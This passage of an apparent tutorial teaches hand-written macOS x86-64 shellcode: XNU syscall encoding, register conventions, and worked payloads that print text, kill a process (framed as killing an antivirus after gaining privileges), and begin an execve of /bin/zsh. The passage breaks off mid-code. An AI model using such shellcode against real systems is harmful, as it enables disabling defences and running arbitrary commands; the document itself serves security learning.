<p>The <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MASK</code> and <code class="language-plaintext highlighter-rouge">SYSCALL_NUMBER_MASK</code> are used to extract the class and syscall number respectively. For example, a traditional <code class="language-plaintext highlighter-rouge">BSD</code> system call such as <code class="language-plaintext highlighter-rouge">execve</code> (system call number <code class="language-plaintext highlighter-rouge">59</code> or <code class="language-plaintext highlighter-rouge">0x3b</code> in hex) in the <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (number <code class="language-plaintext highlighter-rouge">2</code>) would be represented as <code class="language-plaintext highlighter-rouge">0x200003b</code> when passed to the syscall assembly instruction.</p>

<pre><code class="language-asm">; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b  ; Load the syscall number for execve (59 with class mask)
mov rdi, address    ; Address of the command to execute
mov rsi, argv       ; Pointer to an array of arguments
mov rdx, envp       ; Pointer to an array of environment variables
syscall             ; Make the system call
</code></pre>

<p>To make it clear, You’re dining in the <code class="language-plaintext highlighter-rouge">XNU</code> restaurant, a multi-level establishment where each floor represents a different system call class, and the kitchen routes your order based on a cleverly encoded ticket. The first floor, <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code> (class 1), serves hearty main courses like task and thread operations, while the second floor, <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code> (class 2), specializes in classic <code class="language-plaintext highlighter-rouge">BSD</code> desserts such as <code class="language-plaintext highlighter-rouge">execve</code> and <code class="language-plaintext highlighter-rouge">write</code>. To order a medium-rare steak — item number <code class="language-plaintext highlighter-rouge">0x3B</code> (59) on the Mach floor — you must tell the waiter <code class="language-plaintext highlighter-rouge">0x0100003B</code>, calculated as <code class="language-plaintext highlighter-rouge">(1 &lt;&lt; 24) | 0x3B</code>. Craving tiramisu (<code class="language-plaintext highlighter-rouge">execve</code>, also #59) from the <code class="language-plaintext highlighter-rouge">BSD</code> floor? Your order becomes <code class="language-plaintext highlighter-rouge">0x0200003B</code> — same dish number, different floor, computed as <code class="language-plaintext highlighter-rouge">(2 &lt;&lt; 24) | 0x3B</code>. Just like in <code class="language-plaintext highlighter-rouge">XNU</code>, never shout just “59” — the kitchen needs the full encoded number with the class shifted 24 bits left, ensuring your steak doesn’t arrive as a dessert (and vice versa). Bon appétit in the kernel!</p>

<h1 id="x86_64-calling-conventions-and-registers">x86_64 Calling Conventions and Registers</h1>

<p>In the <strong>x86-64 System</strong> used by macOS, function arguments are passed via registers in this order: <code class="language-plaintext highlighter-rouge">RDI</code> holds the 1st argument, <code class="language-plaintext highlighter-rouge">RSI</code> the 2nd, <code class="language-plaintext highlighter-rouge">RDX</code> the 3rd (and sometimes the 2nd return value), <code class="language-plaintext highlighter-rouge">RCX</code> the 4th, <code class="language-plaintext highlighter-rouge">R8</code> the 5th, and <code class="language-plaintext highlighter-rouge">R9</code> the 6th. The return value (or syscall number) is placed in <code class="language-plaintext highlighter-rouge">RAX</code>, while <code class="language-plaintext highlighter-rouge">RIP</code> points to the next instruction, <code class="language-plaintext highlighter-rouge">RSP</code> manages the stack (and must be <strong>16-byte aligned</strong> before any function call), <code class="language-plaintext highlighter-rouge">RBP</code> serves as the frame pointer for stack frames, and <code class="language-plaintext highlighter-rouge">RBX</code> acts as a general-purpose base register often preserved across calls. If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the <code class="language-plaintext highlighter-rouge">RSP</code> is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior. To illustrate how these registers are used in a function call, consider a function <code class="language-plaintext highlighter-rouge">foo</code> that takes three arguments.</p>

<pre><code class="language-asm">; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall      ; Execute syscall
</code></pre>

<h2 id="calling-conventions-table">Calling Conventions Table</h2>

<p>You can use this table as a reference.</p>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDI</code></td>
      <td>1st function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSI</code></td>
      <td>2nd function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RDX</code></td>
      <td>3rd function argument (and optionally the 2nd return value)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RCX</code></td>
      <td>4th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R8</code></td>
      <td>5th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R9</code></td>
      <td>6th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RAX</code></td>
      <td>Function return value/Syscall Number</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RIP</code></td>
      <td>Instruction pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSP</code></td>
      <td>Stack pointer (must be 16-byte aligned before calls)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBP</code></td>
      <td>Frame pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBX</code></td>
      <td>Base pointer (optional use)</td>
    </tr>
  </tbody>
</table>

<h1 id="shellcoding">Shellcoding</h1>

<p>Before writing our shellcode, To make it easy for ourselves instead of getting lost in all the assembly instructions, The best workflow to do is to write your code in <code class="language-plaintext highlighter-rouge">C</code>, then we convert it to assembly which will make it very easy for us, As there are references and resources for <code class="language-plaintext highlighter-rouge">C</code> it will make our process easier. For example, You would find people talking about how to make a client/server in <code class="language-plaintext highlighter-rouge">C</code> using <code class="language-plaintext highlighter-rouge">socket</code>. But, you won’t find someone(“insane”) talking about how to make a client/server in assembly. So The process would be as the following:</p>
<ul>
  <li>Find <code class="language-plaintext highlighter-rouge">C</code> functions that we will need in our code.</li>
  <li>Write our code in <code class="language-plaintext highlighter-rouge">C</code>.</li>
  <li>Turn our code into assembly.
    <ul>
      <li>Which including getting our syscall numbers ready.</li>
      <li>Function arguments and types.</li>
    </ul>
  </li>
</ul>

<p>Let’s go ahead and start with something simple to make things clear.</p>

<h2 id="print-hello">Print ‘Hello’</h2>

<p>We will start by printing <code class="language-plaintext highlighter-rouge">Hello</code> into the screen. So let’s apply our workflow. Usually when we want to print something in <code class="language-plaintext highlighter-rouge">C</code>, we use <code class="language-plaintext highlighter-rouge">printf()</code> function as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;

int main() {
    printf("Hello");
    return 0;
}
</code></pre>

<p>Now, As we identified the functions we need which is <code class="language-plaintext highlighter-rouge">printf()</code>, And we wrote our code the 3rd step is to turn it into assembly. So the first thing we would need is to get the syscall number for <code class="language-plaintext highlighter-rouge">printf()</code>, We can find all the <code class="language-plaintext highlighter-rouge">syscalls</code> can be found in <code class="language-plaintext highlighter-rouge">bsd/kern/syscalls.master</code>.</p>

<p><img width="607" height="57" alt="image" src="https://github.com/user-attachments/assets/66156c40-4402-4dc9-a8b7-b4545641de5f" /></p>

<p>But, the thing is we won’t find <code class="language-plaintext highlighter-rouge">printf()</code> in the file. Let’s investigate the <code class="language-plaintext highlighter-rouge">printf()</code> function source code. After investigation, the implementation of <code class="language-plaintext highlighter-rouge">printf()</code> involves calling other functions till we reach <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h3 id="call-chain-printf--write-syscall">Call Chain: <code class="language-plaintext highlighter-rouge">printf</code> → <code class="language-plaintext highlighter-rouge">write</code> Syscall</h3>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>Function Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">printf</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">vfprintf</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">__vfprintf_internal</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">Xprintf_buffer_write</code></td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_new_file_overflow</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_do_write</code></td>
    </tr>
    <tr>
      <td>7</td>
      <td><code class="language-plaintext highlighter-rouge">new_do_write</code></td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_SYSWRITE</code></td>
    </tr>
    <tr>
      <td>9</td>
      <td><code class="language-plaintext highlighter-rouge">__swrite</code> <em>(macOS only)</em></td>
    </tr>
    <tr>
      <td>10</td>
      <td><code class="language-plaintext highlighter-rouge">write</code> <em>(syscall)</em></td>
    </tr>
  </tbody>
</table>

<p>You can find the source code files here:</p>
<ul>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf.c.html">printf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf.c.html">vfprintf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf-internal.c.html">vfprintf-internal.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf_buffer.h.html">printf_buffer.h</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/fileops.c.html">fileops.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/libioP.h.html">libioP.h</a></li>
</ul>

<p>Also you could just have asked <code class="language-plaintext highlighter-rouge">ChatGPT</code> or something xD, But keep in mind with complicated shellcodes you would want to go through codes and else cause you always will learn something and upgrade yourself.</p>

<p>Now, When we search for <code class="language-plaintext highlighter-rouge">write</code> syscall we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file:</p>

<p><img width="1106" height="158" alt="image" src="https://github.com/user-attachments/assets/9aab6429-2fa8-454d-a3e4-aa023b96b10d" /></p>

<p>As we see the <code class="language-plaintext highlighter-rouge">write</code> syscall number is <code class="language-plaintext highlighter-rouge">4</code>. And <code class="language-plaintext highlighter-rouge">write</code> takes 3 arguments. We need to learn about these argument and how to use it, Which simple can be done by searching it or go to the documentation:</p>

<p><img width="1078" height="117" alt="image" src="https://github.com/user-attachments/assets/f8bd5305-0d23-4b50-a837-df58881c10b1" /></p>

<p>So from the description we can know that we need to supply the string pointer to <code class="language-plaintext highlighter-rouge">buf</code> the second argument and number of bytes (<code class="language-plaintext highlighter-rouge">length</code>) to the third argument <code class="language-plaintext highlighter-rouge">nbyte</code>, And for fields/fd or File Descriptor, When we search it we will see that it takes the following values</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">0 (STDIN_FILENO)</code>: Represents standard input, typically connected to the keyboard or the input of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">1 (STDOUT_FILENO)</code>: Represents standard output, typically connected to the display or the output of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">2 (STDERR_FILENO)</code>: Represents standard error, typically connected to the display for error messages.</li>
</ul>

<p>Our goal here is <code class="language-plaintext highlighter-rouge">STDOUT</code> which is value <code class="language-plaintext highlighter-rouge">1</code>. So our syscall will be as the following:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">message</span> <span class="o">=</span> <span class="s">"Hello"</span><span class="p">;</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s start with writing our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 1 ; stdout for fd argument
	mov rcx, 'Hello' ; put our string value into RCX
	push rcx ; We push our string to the stack
	mov rsi, rsp ; we supply the pointer to our string from RSP to RSI which is buf argument
	mov rdx, 5 ; nbytes argument (our string length)
	mov rax, 0x2000004 ; The BSD syscall class entry + syscall number
	syscall ; invoke/execute syscall
</code></pre>

<p>Here our shellcode, starting with <code class="language-plaintext highlighter-rouge">bits 64</code> to enforce x86-64 mode and <code class="language-plaintext highlighter-rouge">global _main</code> to export the Mach-O entry point. The first instruction <code class="language-plaintext highlighter-rouge">mov rdi, 1</code> loads the file descriptor <code class="language-plaintext highlighter-rouge">1</code> (stdout) into <code class="language-plaintext highlighter-rouge">RDI</code>, the first argument register as we mentioned before. Next, <code class="language-plaintext highlighter-rouge">mov rcx, 'Hello'</code> encodes the 5-character string as a 64-bit immediate <code class="language-plaintext highlighter-rouge">0x6f6c6c6548</code> (little-endian: <code class="language-plaintext highlighter-rouge">'o','l','l','e','H'</code>) into <code class="language-plaintext highlighter-rouge">RCX</code>. The <code class="language-plaintext highlighter-rouge">push rcx</code> then writes these 8 bytes to the stack, placing <code class="language-plaintext highlighter-rouge">'H'</code> at the new stack pointer and padding the remaining 3 bytes with zeros <code class="language-plaintext highlighter-rouge">0x00</code> to align the stack, Then <code class="language-plaintext highlighter-rouge">mov rsi, rsp</code> copies the current stack pointer into <code class="language-plaintext highlighter-rouge">RSI</code>, Which is the second argument, so it now points directly to the first character <code class="language-plaintext highlighter-rouge">'H'</code>, forming a valid <code class="language-plaintext highlighter-rouge">char *buf</code>. The <code class="language-plaintext highlighter-rouge">mov rdx, 5</code> sets the third argument, which is the number of bytes to write and exactly matching the length of <code class="language-plaintext highlighter-rouge">Hello</code>. Finally, <code class="language-plaintext highlighter-rouge">mov rax, 0x2000004</code> loads the <code class="language-plaintext highlighter-rouge">XNU</code> encoded syscall number: <code class="language-plaintext highlighter-rouge">(SYSCALL_CLASS_UNIX &lt;&lt; 24) | 4</code>, where class <code class="language-plaintext highlighter-rouge">2</code> routes to the BSD subsystem and <code class="language-plaintext highlighter-rouge">4</code> selects the <code class="language-plaintext highlighter-rouge">write</code> entry from <code class="language-plaintext highlighter-rouge">bsd/kern/syscalls.master</code>. The <code class="language-plaintext highlighter-rouge">syscall</code> instruction triggers the kernel trap, dispatching through <code class="language-plaintext highlighter-rouge">XNU</code>’s unified handler to execute <code class="language-plaintext highlighter-rouge">write(1, "Hello", 5)</code>, printing <code class="language-plaintext highlighter-rouge">Hello</code> to the terminal.</p>

<p>Let’s save our code into file <code class="language-plaintext highlighter-rouge">hello.asm</code> and compile our code.</p>

<ul>
  <li>First we will turn the code to object file for <code class="language-plaintext highlighter-rouge">macho64</code> architecture using <code class="language-plaintext highlighter-rouge">nasm</code>:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 hello.asm
shellcoding % <span class="nb">ls
</span>hello.asm	hello.o
</code></pre></div>    </div>
  </li>
</ul>

<p>As we see we got our object file <code class="language-plaintext highlighter-rouge">hello.o</code>.</p>

<ul>
  <li>Second, We will link the required libraries needed for the code to generate the executable using <code class="language-plaintext highlighter-rouge">ld</code>
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ld <span class="nt">-o</span> hello hello.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macos 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'hello.o'</span>, assuming: macOS
shellcoding % <span class="nb">ls
</span>hello		hello.asm	hello.o
</code></pre></div>    </div>
  </li>
</ul>

<p>Here we can see after linking we got our executable.</p>

<blockquote>
  <p>Note: The <code class="language-plaintext highlighter-rouge">-L /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib</code> sets the <strong>library search path</strong> to the macOS 15.5 SDK’s <code class="language-plaintext highlighter-rouge">usr/lib</code> directory, ensuring the linker locates the correct version of <code class="language-plaintext highlighter-rouge">libSystem.tbd</code> — Apple’s modern stub library format that resolves to <code class="language-plaintext highlighter-rouge">libSystem.dylib</code> at runtime. The <code class="language-plaintext highlighter-rouge">-lSystem</code> flag explicitly links against <strong>libSystem</strong>, the foundational system library that exports the <code class="language-plaintext highlighter-rouge">syscall</code> interface, <code class="language-plaintext highlighter-rouge">write</code>, <code class="language-plaintext highlighter-rouge">exit</code>, and all BSD/POSIX functions; without it, the <code class="language-plaintext highlighter-rouge">syscall</code> instruction in our shellcode would remain unresolved, causing a linker error. Finally, <code class="language-plaintext highlighter-rouge">-platform_version macos 15.5 15.5</code> declares the <strong>minimum deployment target</strong> as macOS 15.5 (Sequoia), embedding the <code class="language-plaintext highlighter-rouge">LC_VERSION_MIN_MACOSX</code> load command and forcing the use of Sequoia-compatible API stubs and system call encodings — essential for forward and backward compatibility on modern Apple silicon and Intel systems.</p>
</blockquote>

<ul>
  <li>Let’s run and test our executable:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ./hello 
Hellozsh: segmentation fault  ./hello
</code></pre></div>    </div>
  </li>
</ul>

<p>We see that our execution results in <code class="language-plaintext highlighter-rouge">segmentation fault</code>, And the reason for that the program doesn’t <code class="language-plaintext highlighter-rouge">return</code> or in simple words exit. For example, Within the main function in <code class="language-plaintext highlighter-rouge">C</code>, When return is used in the main function (e.g., <code class="language-plaintext highlighter-rouge">return 0;</code>), it typically translates to an <code class="language-plaintext highlighter-rouge">exit_group</code> system call (<code class="language-plaintext highlighter-rouge">exit</code>). This system call terminates the entire process and returns the specified exit status to the operating system. So, We need to exit after executing our <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h2 id="exit">Exit</h2>

<p>We can exit using <code class="language-plaintext highlighter-rouge">exit</code> syscall, as we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span>	<span class="n">AUE_EXIT</span>	<span class="n">ALL</span>	<span class="p">{</span> <span class="kt">void</span> <span class="n">exit</span><span class="p">(</span><span class="kt">int</span> <span class="n">rval</span><span class="p">)</span> <span class="n">NO_SYSCALL_STUB</span><span class="p">;</span> <span class="p">}</span>
</code></pre></div></div>

<p>The syscall number is <code class="language-plaintext highlighter-rouge">1</code> and it takes only 1 integer argument <code class="language-plaintext highlighter-rouge">rval</code> which is the value to return. When we go to documentation the <code class="language-plaintext highlighter-rouge">rval</code> value can be <code class="language-plaintext highlighter-rouge">0</code> for <code class="language-plaintext highlighter-rouge">EXIT_SUCCESS</code> (successful execution of a program) or <code class="language-plaintext highlighter-rouge">EXIT_FAILURE</code> (unsuccessful execution of a program). Let’s update our shellcode and add <code class="language-plaintext highlighter-rouge">exit</code> syscall</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 1 ; stdout for fd argument
	mov rcx, 'Hello' ; put our string value into RCX
	push rcx ; We push our string to the stack
	mov rsi, rsp ; we supply the pointer to our string from RSP to RSI which is buf argument
	mov rdx, 5 ; nbytes argument (our string length)
	mov rax, 0x2000004 ; The BSD syscall class entry + write syscall number
	syscall ; invoke/execute syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>Now, let’s repeat the process of compiling to get our executable again and test it.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 hello.asm
shellcoding % ld <span class="nt">-o</span> hello hello.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/hello.o'</span>, assuming: macOS
shellcoding % ./hello 
Hello%                                                           
shellcoding % 
</code></pre></div></div>

<p>As we see clearly our code worked perfectly.</p>

<h2 id="kill-a-process">Kill a Process</h2>

<p>Let’s do another shellcode, And take a scenario in case we found a way to execute a code with high privileges and We need to write a shellcode to kill the <code class="language-plaintext highlighter-rouge">AV</code> process.</p>

<p>The <code class="language-plaintext highlighter-rouge">C</code> code to kill a process is as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/types.h&gt; // For pid_t
#include &lt;unistd.h&gt;    // For getpid() (optional, for self-killing example)

int main() {
    pid_t target_pid;

    target_pid = 12345; 

    // Sending SIGTERM (graceful termination)
    kill(target_pid, SIGTERM);

    return 0;
}
</code></pre>

<p>We can see here we used <code class="language-plaintext highlighter-rouge">kill</code> function and supply the <code class="language-plaintext highlighter-rouge">PID</code> and the signal which is <code class="language-plaintext highlighter-rouge">SIGTERM</code>.</p>

<p>Now, If we search for <code class="language-plaintext highlighter-rouge">kill</code> in <code class="language-plaintext highlighter-rouge">syscalls.master</code>. We can find it:</p>

<pre><code class="language-C">37	AUE_KILL	ALL	{ int kill(int pid, int signum, int posix) NO_SYSCALL_STUB; }
</code></pre>

<p>For the <code class="language-plaintext highlighter-rouge">PID</code> we will create a test process and get it’s <code class="language-plaintext highlighter-rouge">PID</code> to supply it for the first argument and for the <code class="language-plaintext highlighter-rouge">signum</code> argument, In the <code class="language-plaintext highlighter-rouge">C</code> code the value is <code class="language-plaintext highlighter-rouge">SIGTERM</code> which it will be a pre-defined value in the source code, We can search for <code class="language-plaintext highlighter-rouge">#define SIGTERM</code> in the <code class="language-plaintext highlighter-rouge">XNU</code> source code, We will find it at <code class="language-plaintext highlighter-rouge">xnu-xnu-11417.121.6/bsd/sys/signal.h:103</code>:</p>

<pre><code class="language-C">#define SIGKILL 9       /* kill (cannot be caught or ignored) */
#define SIGBUS  10      /* bus error */
#define SIGSEGV 11      /* segmentation violation */
#define SIGSYS  12      /* bad argument to system call */
#define SIGPIPE 13      /* write on a pipe with no one to read it */
#define SIGALRM 14      /* alarm clock */
#define SIGTERM 15      /* software termination signal from kill */
#define SIGURG  16      /* urgent condition on IO channel */
#define SIGSTOP 17      /* sendable stop signal not from tty */
</code></pre>

<p>So we can see that <code class="language-plaintext highlighter-rouge">SIGTERM</code> value is <code class="language-plaintext highlighter-rouge">15</code>, But the better option to use <code class="language-plaintext highlighter-rouge">SIGKILL</code> with value <code class="language-plaintext highlighter-rouge">9</code> as it will be forced and kill (cannot be caught or ignored). We will supply <code class="language-plaintext highlighter-rouge">9</code> as the second argument. Now, In the <code class="language-plaintext highlighter-rouge">C</code> code it doesn’t have a 3rd argument as we see for the <code class="language-plaintext highlighter-rouge">syscall</code>. If we search for <code class="language-plaintext highlighter-rouge">int posix</code> in the <code class="language-plaintext highlighter-rouge">XNU</code> source code, We gonna find the following code under <code class="language-plaintext highlighter-rouge">xnu-xnu-11417.121.6/bsd/kern/kern_sig.c:1373</code>:</p>

<pre><code class="language-C">int
kill(proc_t cp, struct kill_args *uap, __unused int32_t *retval)
{
	proc_t p;
	kauth_cred_t uc = kauth_cred_get();
	int posix = uap-&gt;posix;         /* !0 if posix behaviour desired */

	AUDIT_ARG(pid, uap-&gt;pid);
	AUDIT_ARG(signum, uap-&gt;signum);

	if ((u_int)uap-&gt;signum &gt;= NSIG) {
		return EINVAL;
	}
</code></pre>

<p>We can see from apple comment on the source code that, if we want <code class="language-plaintext highlighter-rouge">POSIX</code> behaviour in killing the process we have to supply anything other than <code class="language-plaintext highlighter-rouge">0</code>. And after more searching and asking diff <code class="language-plaintext highlighter-rouge">AI</code> chatbots i got the following:</p>

<table>
  <thead>
    <tr>
      <th>Value</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 0</code></td>
      <td>Mach (legacy) signal behavior</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 1</code> (or any <code class="language-plaintext highlighter-rouge">!0</code>)</td>
      <td>POSIX/BSD signal behavior</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Note: usually when you see extra arguments that was not mentioned or supplyed in the <code class="language-plaintext highlighter-rouge">C</code> code, It means that the argument is optional and not really required so you always can supply <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">NULL</code> as a value to the optional/non-required arguments.
Let’s run our test process using a simple infinity loop running in background:</p>
</blockquote>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do </span><span class="nb">sleep </span>10<span class="p">;</span> <span class="k">done</span> &amp;
<span class="o">[</span>2] 27646
shellcoding % ps <span class="nt">-p</span> 27646
  PID TTY           TIME CMD
27646 ttys061    0:00.01 <span class="nt">-zsh</span>
</code></pre></div></div>
<p>the <code class="language-plaintext highlighter-rouge">PID</code> is <code class="language-plaintext highlighter-rouge">27646</code></p>

<p>Now, Lets write our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 27646 ; 1st argument PID
	mov rsi, 9 ; 2nd argument signum
	mov rdx, 0 ; 3rd argument posix
	mov rax, 0x2000025 ; The BSD syscall class entry + 0x25 (which is 37 in hex) kill syscall
	syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>It’s already clear here, We passed our arguments as the following; <code class="language-plaintext highlighter-rouge">PID</code> for <code class="language-plaintext highlighter-rouge">RDI</code>, then <code class="language-plaintext highlighter-rouge">signum</code> for <code class="language-plaintext highlighter-rouge">RSI</code> and After that, <code class="language-plaintext highlighter-rouge">posix</code> to <code class="language-plaintext highlighter-rouge">RDX</code> and setup our <code class="language-plaintext highlighter-rouge">syscall</code>. Finally, We exit gracefully using <code class="language-plaintext highlighter-rouge">exit</code> syscall.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 killer.asm                                                                                                       
shellcoding % ld <span class="nt">-o</span> killer killer.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/killer.o'</span>, assuming: macOS
shellcoding % ./killer 
shellcoding % 
<span class="o">[</span>2]  - killed     <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do</span><span class="p">;</span> <span class="nb">sleep </span>10<span class="p">;</span> <span class="k">done
</span>shellcoding % ps <span class="nt">-p</span> 27646
  PID TTY           TIME CMD
</code></pre></div></div>

<p>As we can see clearly, The process has been killed successfully.</p>

<h2 id="execute-command">Execute Command</h2>
<p>Now, The exciting parts where we need to execute commands. Let’s bring our <code class="language-plaintext highlighter-rouge">C</code> code to execute commands on the system. Which is usually in <code class="language-plaintext highlighter-rouge">C</code> it’s done through <code class="language-plaintext highlighter-rouge">system()</code> function. But remember that on the <code class="language-plaintext highlighter-rouge">XNU</code> has <code class="language-plaintext highlighter-rouge">BSD</code>. So Let’s search for <code class="language-plaintext highlighter-rouge">C</code> code where execute commands using <code class="language-plaintext highlighter-rouge">BSD</code> functions.</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/wait.h&gt;

int main() {
    pid_t pid;
    char *const argv[] = {"/bin/ls", "-l", NULL}; // Command and its arguments
    char *const envp[] = {NULL}; // Environment variables (can be customized)

    execve(argv[0], argv, envp);
   

    return 0;
}
</code></pre>

<p>As we can see here it uses <code class="language-plaintext highlighter-rouge">execv()</code> function and it takes 3 arguments. lET’S SEARCH FOR it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code>:</p>

<pre><code class="language-C">59	AUE_EXECVE	ALL	{ int execve(char *fname, char **argp, char **envp) NO_SYSCALL_STUB; }
</code></pre>

<p>So it takes a pointer to the <code class="language-plaintext highlighter-rouge">fname</code> which is the file name, then pointer to array <code class="language-plaintext highlighter-rouge">argp</code> and pointer to another array <code class="language-plaintext highlighter-rouge">envp</code>.</p>

<p><img width="717" height="271" alt="image" src="https://github.com/user-attachments/assets/d03ca643-261d-4918-b1d0-271519f8471e" /></p>

<p>We can see that in the description of <code class="language-plaintext highlighter-rouge">execve()</code>, the first argument is the path to the binary we want to execute which is gonna be the shell in this case <code class="language-plaintext highlighter-rouge">/bin/zsh</code>. Then for the second argument it takes array the arguments of the executable or program we passing and the first element in the array has to be the same file name <code class="language-plaintext highlighter-rouge">/bin/zsh</code>, So the array will be as the following, if we want to execute<code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code>  command <code class="language-plaintext highlighter-rouge">{"/bin/zsh","-c","echo 'W00tW00t' &gt; /tmp/Pwned.txt"}</code>. The third argument as mentioned is optional so we can supply a pointer to <code class="language-plaintext highlighter-rouge">NULL</code> array.</p>

<p>Let’s go on and write our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	mov rcx, 0 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
